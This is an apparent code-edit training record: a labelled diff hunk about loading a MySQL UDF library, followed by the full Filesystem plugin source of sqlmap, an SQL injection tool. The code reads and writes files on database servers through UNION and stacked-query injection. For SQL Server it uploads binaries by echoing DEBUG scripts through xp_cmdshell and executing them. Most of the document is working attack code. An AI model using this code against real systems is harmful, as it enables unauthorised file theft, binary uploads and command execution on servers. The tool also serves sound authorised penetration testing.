hunk.code_window:             self.udfSharedLibExt = "dll"
           else:
               self.udfLocalFile   += "/mysql/linux/lib_mysqludf_sys.so"
               self.udfSharedLibExt = "so"
           self.udfInjectCore(self.sysUdfs)
       def uncPathRequest(self):
  
hunk.labels: keep keep keep keep add keep keep keep
hunk.after_edit:         self.checkNeededUdfs()
  
hunk.file_path: plugins/dbms/mysql.py
hunk.type: add
file: #!/usr/bin/env python
  
  """
  $Id$
  
  This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
  
  Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
  Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
  
  sqlmap is free software; you can redistribute it and/or modify it under
  the terms of the GNU General Public License as published by the Free
  Software Foundation version 2 of the License.
  
  sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
  WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
  details.
  
  You should have received a copy of the GNU General Public License along
  with sqlmap; if not, write to the Free Software Foundation, Inc., 51
  Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
  """
  
  import binascii
  import os
  
  from lib.core.agent import agent
  from lib.core.common import dataToOutFile
  from lib.core.common import randomStr
  from lib.core.common import readInput
  from lib.core.data import kb
  from lib.core.data import logger
  from lib.request import inject
  from lib.techniques.outband.stacked import stackedTest
  
  
  class Filesystem:
      """
      This class defines generic OS file system functionalities for plugins.
      """
  
      def __init__(self):
          self.fileTblName = "sqlmapfile"
          self.tblField    = "data"
  
      def __unbase64String(self, base64Str):
          unbase64Str = "%s\n" % base64Str.decode("base64")
  
          return unbase64Str
  
      def __unhexString(self, hexStr):
          if len(hexStr) % 2 != 0:
              errMsg  = "for some reasons sqlmap retrieved an odd-length "
              errMsg += "hexadecimal string which it is not able to convert "
              errMsg += "to raw string"
              logger.error(errMsg)
  
              return hexStr
  
          return binascii.unhexlify(hexStr)
  
      def __binDataToScr(self, binaryData, chunkName):
          """
          Called by Microsoft SQL Server plugin to write a binary file on the
          back-end DBMS underlying file system
          """
  
          fileLines = []
          fileSize  = len(binaryData)
          lineAddr  = 0x100
          lineLen   = 20
  
          fileLines.append("n %s" % chunkName)
          fileLines.append("rcx")
          fileLines.append("%x" % fileSize)
          fileLines.append("f 0100 %x 00" % fileSize)
  
          for fileLine in range(0, len(binaryData), lineLen):
              scrString = ""
  
              for lineChar in binaryData[fileLine:fileLine+lineLen]:
                  strLineChar = binascii.hexlify(lineChar)
  
                  if not scrString:
                      scrString  = "e %x %s" % (lineAddr, strLineChar)
                  else:
                      scrString += " %s" % strLineChar
  
                  lineAddr += len(lineChar)
  
              fileLines.append(scrString)
  
          fileLines.append("w")
          fileLines.append("q")
  
          return fileLines
  
      def __checkWrittenFile(self, wFile, dFile, fileType):
          if kb.dbms == "MySQL":
              lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
  
          elif kb.dbms == "PostgreSQL":
              lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
  
          elif kb.dbms == "Microsoft SQL Server":
              self.createSupportTbl(self.fileTblName, self.tblField, "text")
  
              # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
              inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
  
              lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
  
          wFileSize = os.path.getsize(wFile)
  
          logger.debug("checking if the %s file has been written" % fileType)
          dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
  
          if dFileSize and dFileSize.isdigit():
              infoMsg  = "the file has been successfully written and "
              infoMsg += "its size is %s bytes" % dFileSize
  
              dFileSize = long(dFileSize)
  
              if wFileSize == dFileSize:
                  infoMsg += ", same size as the local file '%s'" % wFile
              else:
                  infoMsg += ", but the size differs from the local "
                  infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize)
  
              logger.info(infoMsg)
          else:
              warnMsg  = "it looks like the file has not been written, this "
              warnMsg += "can occur if the DBMS process' user has no write "
              warnMsg += "privileges in the destination path"
              logger.warn(warnMsg)
  
      def fileToSqlQueries(self, fcEncodedList):
          """
          Called by MySQL and PostgreSQL plugins to write a file on the
          back-end DBMS underlying file system
          """
  
          counter    = 0
          sqlQueries = []
  
          for fcEncodedLine in fcEncodedList:
              if counter == 0:
                  sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
              else:
                  updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
                  sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
  
              counter += 1
  
          return sqlQueries
  
      def fileEncode(self, fileName, encoding, single):
          """
          Called by MySQL and PostgreSQL plugins to write a file on the
          back-end DBMS underlying file system
          """
  
          fcEncodedList = []
          fp            = open(fileName, "rb")
          fcEncodedStr  = fp.read().encode(encoding).replace("\n", "")
  
          if not single:
              fcLength = len(fcEncodedStr)
  
              if fcLength > 1024:
                  for i in range(0, fcLength, 1024):
                      string = ""
  
                      if encoding == "hex":
                          string += "0x"
  
                      string += fcEncodedStr[i:i+1024]
  
                      if encoding == "base64":
                          string = "'%s'" % string
  
                      fcEncodedList.append(string)
  
          if not fcEncodedList:
              if encoding == "hex":
                  fcEncodedStr = "0x%s" % fcEncodedStr
              elif encoding == "base64":
                  fcEncodedStr = "'%s'" % fcEncodedStr
  
              fcEncodedList = [ fcEncodedStr ]
  
          return fcEncodedList
  
      def updateBinChunk(self, binaryData, tmpPath):
          """
          Called by Microsoft SQL Server plugin to write a binary file on the
          back-end DBMS underlying file system
          """
  
          randScr        = "sqlmapfile%s.scr" % randomStr(lowercase=True)
          chunkName      = randomStr(lowercase=True)
          fileScrLines   = self.__binDataToScr(binaryData, chunkName)
          forgedScrLines = []
          cmd            = ""
          charCounter    = 0
          maxLen         = 4096
  
          logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))
  
          for scrLine in fileScrLines:
              forgedScrLine  = "echo %s " % scrLine
              forgedScrLine += ">> %s\%s" % (tmpPath, randScr)
              forgedScrLines.append(forgedScrLine)
  
          for forgedScrLine in forgedScrLines:
              cmd         += "%s & " % forgedScrLine
              charCounter += len(forgedScrLine)
  
              if charCounter >= maxLen:
                  forgedCmd = self.xpCmdshellForgeCmd(cmd)
                  self.execCmd(forgedCmd)
  
                  cmd         = ""
                  charCounter = 0
  
          if cmd:
              forgedCmd = self.xpCmdshellForgeCmd(cmd)
              self.execCmd(forgedCmd)
  
          commands = (
                       "cd %s" % tmpPath,
                       "debug < %s" % randScr,
                       "del /F %s" % randScr
                     )
  
          complComm = " & ".join(command for command in commands)
          forgedCmd = self.xpCmdshellForgeCmd(complComm)
  
          self.execCmd(forgedCmd, silent=True)
  
          return chunkName
  
      def askCheckWrittenFile(self, wFile, dFile, fileType):
          message  = "do you want confirmation that the file '%s' " % dFile
          message += "has been successfully written on the back-end DBMS "
          message += "file system? [Y/n] "
          output   = readInput(message, default="Y")
  
          if not output or output in ("y", "Y"):
              self.__checkWrittenFile(wFile, dFile, fileType)
  
      def readFile(self, rFile):
          fileContent = None
  
          stackedTest()
  
          self.checkDbmsOs()
  
          if not kb.stackedTest:
              debugMsg  = "going to read the file with UNION query SQL "
              debugMsg += "injection technique"
              logger.debug(debugMsg)
  
              fileContent = self.unionReadFile(rFile)
          else:
              debugMsg  = "going to read the file with stacked query SQL "
              debugMsg += "injection technique"
              logger.debug(debugMsg)
  
              fileContent = self.stackedReadFile(rFile)
  
          if fileContent in ( None, "" ):
              self.cleanup(onlyFileTbl=True)
  
              return
          elif isinstance(fileContent, (list, tuple, set)):
              newFileContent = ""
  
              for chunk in fileContent:
                  if isinstance(chunk, (list, tuple, set)):
                      chunk = chunk[0]
  
                  newFileContent += chunk
  
              fileContent = newFileContent
  
          if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
              fileContent = self.__unhexString(fileContent)
  
          elif kb.dbms == "PostgreSQL":
              fileContent = self.__unbase64String(fileContent)
  
          rFilePath = dataToOutFile(fileContent)
  
          self.cleanup(onlyFileTbl=True)
  
          return rFilePath
  
      def writeFile(self, wFile, dFile, fileType=None, confirm=True):
          stackedTest()
  
          self.checkDbmsOs()
  
          if not kb.stackedTest:
              debugMsg  = "going to upload the %s file with " % fileType
              debugMsg += "UNION query SQL injection technique"
              logger.debug(debugMsg)
  
              self.unionWriteFile(wFile, dFile, fileType, confirm)
          else:
              debugMsg  = "going to upload the %s file with " % fileType
              debugMsg += "stacked query SQL injection technique"
              logger.debug(debugMsg)
  
              self.stackedWriteFile(wFile, dFile, fileType, confirm)
              self.cleanup(onlyFileTbl=True)
  